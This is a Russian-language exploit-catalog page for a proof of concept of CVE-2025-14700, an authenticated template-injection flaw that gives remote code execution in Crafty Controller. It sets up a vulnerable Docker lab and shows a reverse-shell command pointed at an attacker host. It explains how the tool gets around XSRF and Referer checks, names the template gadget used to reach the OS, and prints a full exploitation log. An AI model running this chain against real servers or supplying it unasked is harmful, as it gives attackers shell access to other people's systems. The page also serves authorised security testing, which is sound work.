Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
POC_CVE-2025-14700 — Доказательство концепции для аутентифицированного RCE в Crafty Controller | Kitploit
Инструменты/GitHubGitHub/secdongle/poc_cve-2025-14700
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming
GitHubsecdongle/poc_cve-2025-14700

POC_CVE-2025-14700

Доказательство концепции для аутентифицированного RCE в Crafty Controller

Репозиторий
18 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-14700

PoC для CVE-2025-14700 — уязвимости Server-Side Template Injection (SSTI) в Crafty Controller <= 4.6.1. Эта уязвимость позволяет аутентифицированным пользователям добиться удаленного выполнения кода (RCE) путем внедрения вредоносных шаблонов Jinja2 в конфигурацию Webhook.

📦 Установка

root@kitploit:~
# Clone the repository
git clone https://github.com/secdongle/POC_CVE-2025-14700
cd POC_CVE-2025-14700

🛠️ Тестовая среда (Docker Compose)

Для настройки уязвимого экземпляра Crafty Controller 4.6.1 используйте следующую конфигурацию docker-compose.yml:

1. Создайте docker-compose.yml

root@kitploit:~
version: '3'
services:
  crafty:
    image: registry.gitlab.com/crafty-controller/crafty-4:4.6.1
    container_name: crafty-vulnerable
    ports:
      - "8443:8443"     # Web Dashboard
      - "25565:25565"   # Minecraft Server Port
    environment:
      - TZ=Asia/Shanghai
    volumes:
      - ./crafty_data:/crafty_db
    restart: unless-stopped

2. Запустите среду

root@kitploit:~
docker-compose up -d

3. Инициализируйте контроллер

  1. Перейдите к веб-интерфейсу по адресу https://localhost:8443.
  2. Завершите мастер начальной настройки, чтобы создать учетную запись администратора.
  3. Используйте эти учетные данные для запуска скрипта poc.py.

🚀 Использование

Эксплойт для одной цели

root@kitploit:~
# Execute the Proof of Concept for a reverse shell
python3 poc.py -u https://10.67.3.77:8443 -l admin -p 'PASSWORD' -lh 10.67.3.78 -lp 6699

Параметры командной строки

ОпцияОписание
-u, --urlЦелевой URL Crafty Controller (например, https://10.67.3.77:8443)
-l, --loginИмя пользователя для аутентификации
-p, --passwordПароль для аутентификации
-lh, --lhostIP атакующего для обратного вызова reverse shell
-lp, --lportПорт атакующего для обратного вызова reverse shell

🎯 Возможности эксплойта

  • Синхронизация XSRF и токена: Автоматически обрабатывает сложную синхронизацию между куками Tornado _xsrf и пользовательским заголовком token.
  • Эмуляция сессии: Симуляция запросов браузера 1:1, включая заголовки Referer и Origin для обхода проверок безопасности на бэкенде.
  • Автоматизированная цепочка: Создает фиктивный сервер, внедряет полезную нагрузку SSTI и запускает действие выполнения за одну последовательность.

📊 Технический анализ

Эксплойт успешен благодаря соответствию строгой логике проверки бэкенда:

ТребованиеСтратегия эксплойта
Токен XSRFИзвлекает _xsrf из кук и дублирует его в заголовках X-XSRFToken и token.
Проверка RefererУстанавливает Referer на путь панели управления, чтобы имитировать легитимное взаимодействие пользователя.
Сопоставление заголовковСопоставляет значение _xsrf с определенным заголовком token, требуемым диспетчером действий.
Полезная нагрузкаИспользует self._TemplateReference__context для доступа к модулю os.

📝 Пример вывода

root@kitploit:~
python poc.py -u https://10.67.3.77:8443 -l admin -lh 10.67.3.78 -lp 6699 -p 'iMbSnt@OLnBYnU%hVv0aRN2l5djUInSruxAHK2oP0j@QDs$6pkGa8dYEI!G$mLim"'
[*] STEP 1: Visiting login page to retrieve initial _xsrf cookie...
[*] STEP 2: Executing authentication (XSRF: 2|421c9864|03dd...)

================================================================================
[POST] https://10.67.3.77:8443/api/v2/auth/login/ -> HTTP 200
-------------------- [KEY HEADERS VALIDATION] --------------------
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Referer: https://10.67.3.77:8443/login?next=%2Fpanel%2Fdashboard
Content-Type: application/json
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok",
    "data": {
        "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k",
        "user_id": "1",
        "page": "/panel/dashboard"
    }
}
================================================================================

[*] STEP 3: Creating exploit dummy server...

================================================================================
[POST] https://10.67.3.77:8443/api/v2/servers -> HTTP 201
-------------------- [KEY HEADERS VALIDATION] --------------------
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Referer: https://10.67.3.77:8443/panel/dashboard
Content-Type: application/json
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok",
    "data": {
        "new_server_id": "d21f875b-3db0-42fa-92c7-2ba10cdf13ba"
    }
}
================================================================================

[*] STEP 4: Injecting SSTI Reverse Shell payload...

================================================================================
[POST] https://10.67.3.77:8443/api/v2/servers/d21f875b-3db0-42fa-92c7-2ba10cdf13ba/webhook -> HTTP 200
-------------------- [KEY HEADERS VALIDATION] --------------------
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Referer: https://10.67.3.77:8443/panel/dashboard
Content-Type: application/json
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok",
    "data": {
        "webhook_id": 13
    }
}
================================================================================

[*] STEP 5: Executing protocol-level trigger emulation (Critical Phase)...
[*] Sending start_server action request...

================================================================================
[POST] https://10.67.3.77:8443/api/v2/servers/d21f875b-3db0-42fa-92c7-2ba10cdf13ba/action/start_server -> HTTP 200
-------------------- [KEY HEADERS VALIDATION] --------------------
token: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Referer: https://10.67.3.77:8443/panel/dashboard
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok"
}
================================================================================

[*] Sending EULA confirmation action request...

[+] POC Execution completed. Check your nc listener (LHOST/LPORT).

обратная оболочка

⚠️ Отказ от ответственности

Этот инструмент предоставляется только для образовательных и авторизованных целей тестирования безопасности. Несанкционированный доступ к компьютерным системам незаконен. Авторы не несут ответственности за любое неправомерное использование.

Скачать инструмент